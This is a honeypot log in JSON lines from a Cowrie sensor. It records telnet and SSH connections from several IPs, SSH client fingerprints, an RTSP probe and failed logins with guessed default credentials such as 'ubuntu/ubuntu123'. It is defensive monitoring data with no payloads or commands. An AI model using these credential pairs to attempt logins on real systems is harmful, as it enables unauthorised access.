{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36666,"dst_ip":"159.203.135.109","dst_port":23,"session":"c761af1f70ad","protocol":"telnet","message":"New connection: 34.22.225.162:36666 (159.203.135.109:23) [session: c761af1f70ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:50.713818Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36668,"dst_ip":"159.203.135.109","dst_port":23,"session":"4abf630466b6","protocol":"telnet","message":"New connection: 34.22.225.162:36668 (159.203.135.109:23) [session: 4abf630466b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:50.869202Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36684,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d90a558a5d6","protocol":"telnet","message":"New connection: 34.22.225.162:36684 (159.203.135.109:23) [session: 1d90a558a5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:51.023789Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36694,"dst_ip":"159.203.135.109","dst_port":23,"session":"a72525b80fab","protocol":"telnet","message":"New connection: 34.22.225.162:36694 (159.203.135.109:23) [session: a72525b80fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:51.253962Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36702,"dst_ip":"159.203.135.109","dst_port":23,"session":"243432d0d8e3","protocol":"telnet","message":"New connection: 34.22.225.162:36702 (159.203.135.109:23) [session: 243432d0d8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:51.411415Z"}
{"eventid":"cowrie.session.closed","duration":0.00472259521484375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:51.416012Z","src_ip":"34.22.225.162","session":"243432d0d8e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36708,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7829bc57ab4","protocol":"telnet","message":"New connection: 34.22.225.162:36708 (159.203.135.109:23) [session: b7829bc57ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:51.566242Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36714,"dst_ip":"159.203.135.109","dst_port":23,"session":"95666f47c3d1","protocol":"telnet","message":"New connection: 34.22.225.162:36714 (159.203.135.109:23) [session: 95666f47c3d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:51.720914Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36720,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e21c08e0643","protocol":"telnet","message":"New connection: 34.22.225.162:36720 (159.203.135.109:23) [session: 2e21c08e0643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:51.877413Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36736,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d50d61b5147","protocol":"telnet","message":"New connection: 34.22.225.162:36736 (159.203.135.109:23) [session: 8d50d61b5147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:52.032328Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36746,"dst_ip":"159.203.135.109","dst_port":23,"session":"29a1f1fab91c","protocol":"telnet","message":"New connection: 34.22.225.162:36746 (159.203.135.109:23) [session: 29a1f1fab91c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:52.207291Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36756,"dst_ip":"159.203.135.109","dst_port":23,"session":"82a7b5c24445","protocol":"telnet","message":"New connection: 34.22.225.162:36756 (159.203.135.109:23) [session: 82a7b5c24445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:52.362786Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36768,"dst_ip":"159.203.135.109","dst_port":23,"session":"bed93946b35c","protocol":"telnet","message":"New connection: 34.22.225.162:36768 (159.203.135.109:23) [session: bed93946b35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:52.517561Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36778,"dst_ip":"159.203.135.109","dst_port":23,"session":"a775c8201460","protocol":"telnet","message":"New connection: 34.22.225.162:36778 (159.203.135.109:23) [session: a775c8201460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:52.674831Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36782,"dst_ip":"159.203.135.109","dst_port":23,"session":"20ccefec4c23","protocol":"telnet","message":"New connection: 34.22.225.162:36782 (159.203.135.109:23) [session: 20ccefec4c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:52.830233Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:52.835670Z","src_ip":"34.22.225.162","session":"20ccefec4c23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":62386,"dst_ip":"159.203.135.109","dst_port":23,"session":"f70173f70c6e","protocol":"telnet","message":"New connection: 34.22.225.162:62386 (159.203.135.109:23) [session: f70173f70c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:52.989816Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":62398,"dst_ip":"159.203.135.109","dst_port":23,"session":"60ff0d9a087b","protocol":"telnet","message":"New connection: 34.22.225.162:62398 (159.203.135.109:23) [session: 60ff0d9a087b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:53.144126Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":62410,"dst_ip":"159.203.135.109","dst_port":23,"session":"3641bc416a02","protocol":"telnet","message":"New connection: 34.22.225.162:62410 (159.203.135.109:23) [session: 3641bc416a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:53.298741Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":62418,"dst_ip":"159.203.135.109","dst_port":23,"session":"598e352054ce","protocol":"telnet","message":"New connection: 34.22.225.162:62418 (159.203.135.109:23) [session: 598e352054ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:53.453378Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":62432,"dst_ip":"159.203.135.109","dst_port":23,"session":"e047ad3ef9a3","protocol":"telnet","message":"New connection: 34.22.225.162:62432 (159.203.135.109:23) [session: e047ad3ef9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:53.606395Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":62440,"dst_ip":"159.203.135.109","dst_port":23,"session":"4258e6fd1b87","protocol":"telnet","message":"New connection: 34.22.225.162:62440 (159.203.135.109:23) [session: 4258e6fd1b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:53.760856Z"}
{"eventid":"cowrie.session.closed","duration":0.013201236724853516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:53.773911Z","src_ip":"34.22.225.162","session":"4258e6fd1b87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":62444,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dfae8c2df89","protocol":"telnet","message":"New connection: 34.22.225.162:62444 (159.203.135.109:23) [session: 4dfae8c2df89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:53.923702Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":62452,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c1c4c726214","protocol":"telnet","message":"New connection: 34.22.225.162:62452 (159.203.135.109:23) [session: 4c1c4c726214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:54.076877Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 6529","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 6529] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:54.083383Z","src_ip":"34.22.225.162","session":"4c1c4c726214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.833851099014282,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.757432Z","src_ip":"34.22.225.162","session":"4dfae8c2df89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.688169479370117,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.764915Z","src_ip":"34.22.225.162","session":"4c1c4c726214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.16378140449524,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.770063Z","src_ip":"34.22.225.162","session":"e047ad3ef9a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.475545167922974,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.774164Z","src_ip":"34.22.225.162","session":"3641bc416a02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.329506635665894,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.782765Z","src_ip":"34.22.225.162","session":"598e352054ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.805346250534058,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.795033Z","src_ip":"34.22.225.162","session":"f70173f70c6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.669743061065674,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.813751Z","src_ip":"34.22.225.162","session":"60ff0d9a087b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.993271350860596,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.823374Z","src_ip":"34.22.225.162","session":"20ccefec4c23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.152931928634644,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.827656Z","src_ip":"34.22.225.162","session":"a775c8201460","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.31357741355896,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.831028Z","src_ip":"34.22.225.162","session":"bed93946b35c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.471784830093384,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.834473Z","src_ip":"34.22.225.162","session":"82a7b5c24445","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.631298780441284,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.838409Z","src_ip":"34.22.225.162","session":"29a1f1fab91c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.81368088722229,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.845924Z","src_ip":"34.22.225.162","session":"8d50d61b5147","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.97340178489685,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.850715Z","src_ip":"34.22.225.162","session":"2e21c08e0643","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.135624647140503,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.856428Z","src_ip":"34.22.225.162","session":"95666f47c3d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.295170068740845,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.861317Z","src_ip":"34.22.225.162","session":"b7829bc57ab4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.611945152282715,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.865775Z","src_ip":"34.22.225.162","session":"a72525b80fab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.156973838806152,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.870676Z","src_ip":"34.22.225.162","session":"c761af1f70ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.006508827209473,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.875528Z","src_ip":"34.22.225.162","session":"4abf630466b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.858372926712036,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.882044Z","src_ip":"34.22.225.162","session":"1d90a558a5d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.327386856079102,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.886501Z","src_ip":"34.22.225.162","session":"eb09d7ac7f6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.64297866821289,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.890287Z","src_ip":"34.22.225.162","session":"b72bc2f8f9f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.49043869972229,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.894020Z","src_ip":"34.22.225.162","session":"8ba11bc74cc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.805074214935303,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.897877Z","src_ip":"34.22.225.162","session":"df75a5010d43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.962680578231812,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.902023Z","src_ip":"34.22.225.162","session":"599890ff0001","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.123573303222656,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.906695Z","src_ip":"34.22.225.162","session":"ff575cee5d43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.45010232925415,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:04.912478Z","src_ip":"34.22.225.162","session":"6e330fe06449","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":43138,"dst_ip":"10.17.0.5","dst_port":22,"session":"79b9cfeb21f6","protocol":"ssh","message":"New connection: 80.94.92.186:43138 (10.17.0.5:22) [session: 79b9cfeb21f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:15.015252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:15.124395Z","src_ip":"80.94.92.186","session":"79b9cfeb21f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:15.128265Z","src_ip":"80.94.92.186","session":"79b9cfeb21f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:16.282465Z","src_ip":"80.94.92.186","session":"79b9cfeb21f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:17.590852Z","src_ip":"80.94.92.186","session":"79b9cfeb21f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":33342,"dst_ip":"10.17.0.5","dst_port":22,"session":"75619510e378","protocol":"ssh","message":"New connection: 160.251.185.39:33342 (10.17.0.5:22) [session: 75619510e378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:45.482541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:45.486593Z","src_ip":"160.251.185.39","session":"75619510e378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:45.674057Z","src_ip":"160.251.185.39","session":"75619510e378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"p@ssword","message":"login attempt [test1/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:46.458356Z","src_ip":"160.251.185.39","session":"75619510e378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:47.650502Z","src_ip":"160.251.185.39","session":"75619510e378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":48994,"dst_ip":"159.203.135.109","dst_port":22,"session":"5087fb964bdd","protocol":"ssh","message":"New connection: 101.47.159.125:48994 (159.203.135.109:22) [session: 5087fb964bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:51.273802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:51.279042Z","src_ip":"101.47.159.125","session":"5087fb964bdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:51.510848Z","src_ip":"101.47.159.125","session":"5087fb964bdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"usertest","message":"login attempt [user2/usertest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:52.466665Z","src_ip":"101.47.159.125","session":"5087fb964bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:30:53.701593Z","src_ip":"101.47.159.125","session":"5087fb964bdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":45214,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e7477ac281c","protocol":"ssh","message":"New connection: 58.186.20.143:45214 (10.17.0.5:22) [session: 8e7477ac281c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:31:33.342873Z"}
